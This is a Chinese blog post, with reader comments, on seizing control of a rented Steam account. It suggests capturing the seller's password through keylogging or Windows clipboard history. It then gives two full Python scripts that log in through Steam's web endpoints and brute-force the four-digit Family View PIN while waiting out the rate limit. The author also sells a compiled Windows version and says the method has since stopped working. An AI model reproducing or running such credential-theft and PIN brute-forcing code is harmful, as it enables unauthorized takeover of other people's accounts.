Steam家庭监护爆破
浏览 13525 | 评论 56 | 字数 10925
卖女孩的小火柴 - 搬砖中
2020年01月04日

我去淘宝买了一个游戏的Steam离线版,实际上就是给你个账户下载安装后以离线模式运行,配合上Steam账户管理器玩起来感觉还是很不错的
但我总是对客户端上的 家庭监护 标志耿耿于怀...

失效

已确认 Steam 更换了登录算法,本文的脚本失效。

怎么搞到账户密码?

对很多店来说,他们不愿意把账户密码给你,更愿意直接远程,然后输入账户和密码,全部设置好后给设置为离线模式。
这个其实很好搞,Steam本身保护并不是非常到位,你可以采取记录键盘的方式记录下输入的密码,如果遇到和我一样偷懒复制粘贴的店家,你只需要借助Win自带的剪贴板历史(Win徽标+V)打开后就可以看到复制来的账户和密码啦~~~

怎么搞到家庭监护的Key?

Steam客户端和Steam网页都会被监护影响,经过测试,无论是客户端还是网页,都是输错5次暂停3分钟输入,那当然选择网页折腾啦~~
抓包的过程也很简单,需要注意的是,有个参数是附在网页中传递来的,需要取出来,然后遇到错误暂停3分钟继续咯。。。

rsa.js.zip
下面是脚本:

  1. # !/user/bin/env python
  2. # -*- coding:utf-8 -*-
  3. # time: 2018/9/6--19:24
  4. __author__ = 'Henry'
  5. # I use his login code ,thx him
  6. __sauthor__ = 'zponds'
  7. '''
  8. Steam login (RSA)
  9. URL:https://store.steampowered.com/login/
  10. '''
  11. import requests
  12. import time
  13. import re
  14. import execjs
  15. import json
  16. def steam_login():
  17. req = requests.session()
  18. headers = {
  19. 'Referer': 'https://store.steampowered.com/login/',
  20. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \
  21. Chrome/79.0.3945.88 Safari/537.36 Edg/79.0.309.54',
  22. }
  23. url = 'https://store.steampowered.com/login/getrsakey/'
  24. data = {
  25. 'donotcache': str(int(time.time() * 1000)),
  26. 'username': user
  27. }
  28. html = req.post(url, data=data, headers=headers).json()
  29. pub_mod = html.get('publickey_mod')
  30. pub_exp = html.get('publickey_exp')
  31. timestamp = html.get('timestamp')
  32. with open('rsa.js', encoding='utf-8') as f:
  33. jsdata = f.read()
  34. passencrypt = execjs.compile(jsdata).call('getpwd', password, pub_mod, pub_exp)
  35. print(passencrypt)
  36. # login
  37. url = 'https://store.steampowered.com/login/dologin/'
  38. data = {
  39. 'donotcache': str(int(time.time() * 1000)),
  40. 'username': user,
  41. 'password': passencrypt,
  42. 'twofactorcode': '',
  43. 'emailauth': '',
  44. 'loginfriendlyname': '',
  45. 'captchagid': '-1',
  46. 'captcha_text': '',
  47. 'emailsteamid': '',
  48. 'rsatimestamp': timestamp,
  49. 'remember_login': 'false',
  50. }
  51. html = req.post(url, data=data, headers=headers).json()
  52. if html.get('emailauth_needed') == True:
  53. print('Login requires your email verification code')
  54. emailid = html.get('emailsteamid')
  55. email = input('Please enter your email verification code:')
  56. # login again
  57. data['emailauth'] = email
  58. data['emailsteamid'] = emailid
  59. html = req.post(url, data=data, headers=headers).json()
  60. print(html)
  61. if html.get('login_complete') == True and html.get('success') == True:
  62. print('logining...')
  63. url_store = 'https://store.steampowered.com/'
  64. html = req.get(url_store, headers=headers).text
  65. username = re.findall(r'data-miniprofile=".*?">(.*?)</a>', html)[0]
  66. print('[Success!Username:' + username + ']')
  67. r = req.get('https://store.steampowered.com/parental/blocked')
  68. if '/parental/unlock' in r.text:
  69. print('The account has a family view')
  70. sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0]
  71. success = False
  72. start = input('PIN from:')
  73. start_time = int(time.time())
  74. for pin in range(int(start) - 1, 10000):
  75. flag = True
  76. while flag:
  77. # 取出sessionID
  78. pin_str = str(pin)
  79. while len(pin_str) < 4:
  80. pin_str = "0" + pin_str
  81. data = {
  82. 'pin': pin_str,
  83. 'sessionid': sessionID
  84. }
  85. try:
  86. r = req.post('https://store.steampowered.com/parental/ajaxunlock', data=data,
  87. headers=headers)
  88. r_json = json.loads(r.text)
  89. if r_json['success'] == False:
  90. if 'wait a while' in r_json['error_message']:
  91. print('Sleep...')
  92. time.sleep(180)
  93. r = req.get('https://store.steampowered.com/parental/blocked')
  94. sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0]
  95. else:
  96. flag = False
  97. print("PIN: %s: %s" % (pin_str, r_json['error_message']))
  98. else:
  99. print("PIN: %s: SUCCESS!" % pin_str)
  100. end_time = int(time.time())
  101. print("Time: %ds" % (end_time-start_time))
  102. success = True
  103. except BaseException as e:
  104. print('Error...')
  105. time.sleep(10)
  106. if success:
  107. exit(0)
  108. else:
  109. print('The account does not have a family view')
  110. else:
  111. print('login fail...')
  112. elif html.get('success') == False and html.get('message') != '':
  113. print(html.get('message'))
  114. print('login fail...')
  115. if __name__ == '__main__':
  116. user = input('account:')
  117. password = input('password:')
  118. steam_login()

0000-9999 Pin 3分钟可以尝试5次,运气再差也就2-3天的事情吧~找台服务器放着就好啦~

搞到KEY之后?

解除掉家庭监护就可以添加家庭共享啦~
接下来这个账户的使用权就属于你啦~

什么?不会运行Python?

没有关系,我已经准备好了一个WINDOWS开箱即用的版本了!购买附件,下载后可以直接使用!
同时附赠一次指导!

2020年3月18日更新

  • 掉线后会自动尝试重新登录
  • 结束后会要求输入EXIT以退出
  • BUG修复
  • 当然,编译的WINDOWS文件也更新了
  1. # !/user/bin/env python
  2. # -*- coding:utf-8 -*-
  3. # time: 2018/9/6--19:24
  4. __author__ = 'Henry'
  5. # I use his login code ,thx him
  6. __sauthor__ = 'zponds'
  7. '''
  8. Steam login (RSA)
  9. URL:https://store.steampowered.com/login/
  10. '''
  11. import requests
  12. import time
  13. import re
  14. import execjs
  15. import json
  16. def steam_login(open_start=-1):
  17. req = requests.session()
  18. headers = {
  19. 'Referer': 'https://store.steampowered.com/login/',
  20. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \
  21. Chrome/79.0.3945.88 Safari/537.36 Edg/79.0.309.54',
  22. }
  23. url = 'https://store.steampowered.com/login/getrsakey/'
  24. data = {
  25. 'donotcache': str(int(time.time() * 1000)),
  26. 'username': user
  27. }
  28. html = req.post(url, data=data, headers=headers).json()
  29. pub_mod = html.get('publickey_mod')
  30. pub_exp = html.get('publickey_exp')
  31. timestamp = html.get('timestamp')
  32. with open('rsa.js', encoding='utf-8') as f:
  33. jsdata = f.read()
  34. passencrypt = execjs.compile(jsdata).call('getpwd', password, pub_mod, pub_exp)
  35. # print(passencrypt)
  36. # login
  37. url = 'https://store.steampowered.com/login/dologin/'
  38. data = {
  39. 'donotcache': str(int(time.time() * 1000)),
  40. 'username': user,
  41. 'password': passencrypt,
  42. 'twofactorcode': '',
  43. 'emailauth': '',
  44. 'loginfriendlyname': '',
  45. 'captchagid': '-1',
  46. 'captcha_text': '',
  47. 'emailsteamid': '',
  48. 'rsatimestamp': timestamp,
  49. 'remember_login': 'true',
  50. }
  51. html = req.post(url, data=data, headers=headers).json()
  52. if html.get('emailauth_needed') == True:
  53. print('登陆需要邮箱验证码...')
  54. emailid = html.get('emailsteamid')
  55. email = input('请输入验证码:')
  56. # login again
  57. data['emailauth'] = email
  58. data['emailsteamid'] = emailid
  59. html = req.post(url, data=data, headers=headers).json()
  60. # print(html)
  61. if html.get('login_complete') == True and html.get('success') == True:
  62. print('logining...')
  63. url_store = 'https://store.steampowered.com/'
  64. html = req.get(url_store, headers=headers).text
  65. username = re.findall(r'data-miniprofile=".*?">(.*?)</a>', html)[0]
  66. print('[登陆成功!用户名:' + username + ']')
  67. r = req.get('https://store.steampowered.com/parental/blocked')
  68. if '/parental/unlock' in r.text:
  69. print('这个账户存在家庭监护')
  70. sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0]
  71. success = False
  72. if open_start == -1:
  73. start = input('从多少开始PIN(第一次运行请从0000开始):')
  74. else:
  75. start = open_start
  76. start_time = int(time.time())
  77. for pin in range(int(start) - 1, 10000):
  78. flag = True
  79. while flag:
  80. # 取出sessionID
  81. pin_str = str(pin)
  82. while len(pin_str) < 4:
  83. pin_str = "0" + pin_str
  84. data = {
  85. 'pin': pin_str,
  86. 'sessionid': sessionID
  87. }
  88. try:
  89. r = req.post('https://store.steampowered.com/parental/ajaxunlock', data=data,
  90. headers=headers)
  91. if len(r.text) > 2000:
  92. return steam_login(pin)
  93. r_json = json.loads(r.text)
  94. if r_json['success'] == False:
  95. if 'wait a while' in r_json['error_message'] or '错误尝试' in r_json['error_message']:
  96. print('等待中...')
  97. time.sleep(180)
  98. r = req.get('https://store.steampowered.com/parental/blocked')
  99. sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0]
  100. else:
  101. flag = False
  102. print("PIN: %s: %s" % (pin_str, r_json['error_message']))
  103. else:
  104. print("PIN: %s: 成功!" % pin_str)
  105. end_time = int(time.time())
  106. print("Time: %ds" % (end_time-start_time))
  107. success = True
  108. except BaseException as e:
  109. print('Error...')
  110. time.sleep(10)
  111. if success:
  112. return
  113. else:
  114. print('您的账户不存在家庭监护!')
  115. else:
  116. print(html.get('message'))
  117. print('登陆失败...')
  118. if __name__ == '__main__':
  119. user = input('账户名:')
  120. password = input('密码:')
  121. print('注意,跑PIN耗时可能非常长...可能长达两天...')
  122. steam_login()
  123. end = input('输入 EXIT 以退出...')
  124. while end != 'EXIT':
  125. end = input('输入 EXIT 以退出...')
本文作者:卖女孩的小火柴 - 搬砖中
本文链接:https://www.shinenet.cn/archives/82.html
最后修改时间:2023-12-19 21:53:36
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
评论
如果可能,请填写真实邮箱,有回复会送至邮箱。请不要水评论,谢谢。
textsms
支持 Markdown 语法
email
link
评论列表
已有 56 条评论
欧阳逸龙
2020-06-10 14:22
不在网页上可以吗
2020-06-10 14:23
@欧阳逸龙 不行,不会整Steam的客户端登录算法
欧阳逸龙
2020-06-10 14:27
@卖女孩的小火柴 随便一个浏览器都可以吗
2020-06-10 14:28
@欧阳逸龙 和浏览器有什么关系...
这个是直接做了前端逆向,模拟了浏览器
欧阳逸龙
2020-06-10 14:31
@欧阳逸龙 OK,加QQ同意一下
2020-06-10 14:36
@欧阳逸龙 你号被TX风险了,同意不了
换个号加吧
欧阳逸龙
2020-06-10 12:47
为什么要暂停三分钟
2020-06-10 13:59
@欧阳逸龙 不暂停会导致请求过快
2020-05-02 23:42
已安装node。js,但输入账号密码后还是闪退
2020-05-03 08:22
@的 应该是不会出现这个情况的,请私聊我尝试解决
2020-05-03 08:56
@卖女孩的小火柴 rsa.js文件需要和exe文件放在同一个目录
Entiredes
2020-04-25 23:22
已经用令牌登录过了,用它破解pin码却登录失败
2020-04-26 23:47
@Entiredes Steam的令牌验证码只能使用一次哦~
0000
2020-04-19 20:57
为什么付完款还要在买?
2020-04-19 21:11
@0000 请不要清理cookies,出现问题请加Q: 1005468403
0000
2020-04-20 11:32
@卖女孩的小火柴 更没更新没更新就不加了
2020-04-20 11:33
@0000 没 没事更新干嘛